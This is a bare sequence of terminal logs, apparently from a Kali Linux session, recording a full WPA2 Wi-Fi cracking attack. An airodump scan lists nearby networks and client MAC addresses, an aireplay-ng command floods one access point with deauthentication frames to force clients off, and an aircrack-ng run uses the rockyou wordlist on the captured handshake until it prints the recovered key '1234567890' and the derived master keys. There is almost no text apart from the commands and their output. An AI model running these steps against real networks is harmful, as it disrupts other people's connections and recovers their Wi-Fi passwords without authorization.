Airodump

```
12:19:BE:A3:61:E2   -60      15        1     0    6   195   WPA2 CCMP   PSK  Benax-WiFi(2.4G)
94:BF:C4:10:55:98   -79      20       72     1   11   130   WPA2 CCMP   PSK  RCA
94:BF:C4:50:55:98   -74      20      110     0   11   130   WPA2 CCMP   PSK  RCA-WiFi
02:19:BE:A3:50:4A   -79       5      117     0    1   195   WPA2 CCMP   PSK  RCA-WiFi
94:BF:C4:90:55:98   -76      21      508     6   11   130   OPN              Benax-WiFi(2.4G)
12:19:BE:A3:50:4A   -86       5        0     0    1   195   WPA2 CCMP   PSK  Benax-WiFi(2.4G)
00:19:BE:A3:50:4A   -84       7        1     0    1   195   WPA2 CCMP   PSK  RCA
34:7D:F6:EC:28:9F   -1        0        6     0   11    -1   OPN              <length:  0>

BSSID               STATION            PWR    Rate   Lost    Frames  Notes  Probes

00:19:BE:A3:61:E2   E4:42:A6:57:22:AE   -40    0 - 0e    1        8           RCA
00:19:BE:A3:61:E2   34:7D:F6:CC:BC:A3   -57    0 - 0e    3        9           RCA
00:19:BE:A3:61:E2   10:02:B5:96:C8:05   -50    0 - 0e    0       67
00:19:BE:A3:61:E2   90:0F:0C:A7:2E:B1   -56    0e- 0e    0       13
00:19:BE:A3:61:E2   50:76:AF:57:F4:04   -55    0 - 0e    0        3           RCA
00:19:BE:A3:61:E2   20:E0:17:0C:4A:B6   -56    0e- 0e  149      720
CH  1 ][ Elapsed: 17 mins ][ 2022-03-08 06:12 ][ WPA handshake: 46:D5:F2:23:3F:6B

BSSID               PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

46:D5:F2:23:3F:6B   -55 100    10103       520    0    1   65   WPA2 CCMP   PSK  Benax-WAP-01

BSSID               STATION            PWR    Rate   Lost    Frames  Notes  Probes
```

Aireplay

```
kali@kali:~$ sudo  aireplay-ng -0 15 -a  46:D5:F2:23:3F:6B wlan0mon
05:58:56  Waiting for beacon frame (BSSID: 46:D5:F2:23:3F:6B) on channel 1
NB: this attack is more effective when targeting
a connected wireless client (-c <client's mac>).
05:58:56  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:58:56  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:58:57  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:58:57  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:58:58  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:04  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:10  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:16  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:19  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:22  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:29  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:29  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:37  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:42  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
05:59:45  Sending DeAuth (code 7) to broadcast -- BSSID: [46:D5:F2:23:3F:6B]
kali@kali:~$
```

Aircrack

```
kali@kali:~$  aircrack-ng -a2 -b  46:D5:F2:23:3F:6B -w /usr/share/wordlists/rockyou.txt traffics/Benax-WiFi-01.cap
Reading packets, please wait...
Opening traffics/Benax-WiFi-01.cap
Read 117275 packets.

1 potential targets


                        Aircrack-ng 1.6

    [00:00:00] 66/10303727 keys tested (87.55 k/s)

    Time left: 1 day, 8 hours, 41 minutes, 25 seconds          0.00%

                     KEY FOUND! [ 1234567890 ]


    Master Key      : C0 42 1D 76 35 8E CE BE 5A 6E D6 C1 62 7B 9B 26
                      E4 66 11 6D 60 A0 45 A0 AE D6 9E CF 16 93 0A C0

    Transient Key   : 3D 9D AB 52 BB DE 7A BC 7B 08 EA 08 0E 42 61 B6
                      3D 18 52 B3 3E DC 63 00 00 00 00 00 00 00 00 00
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```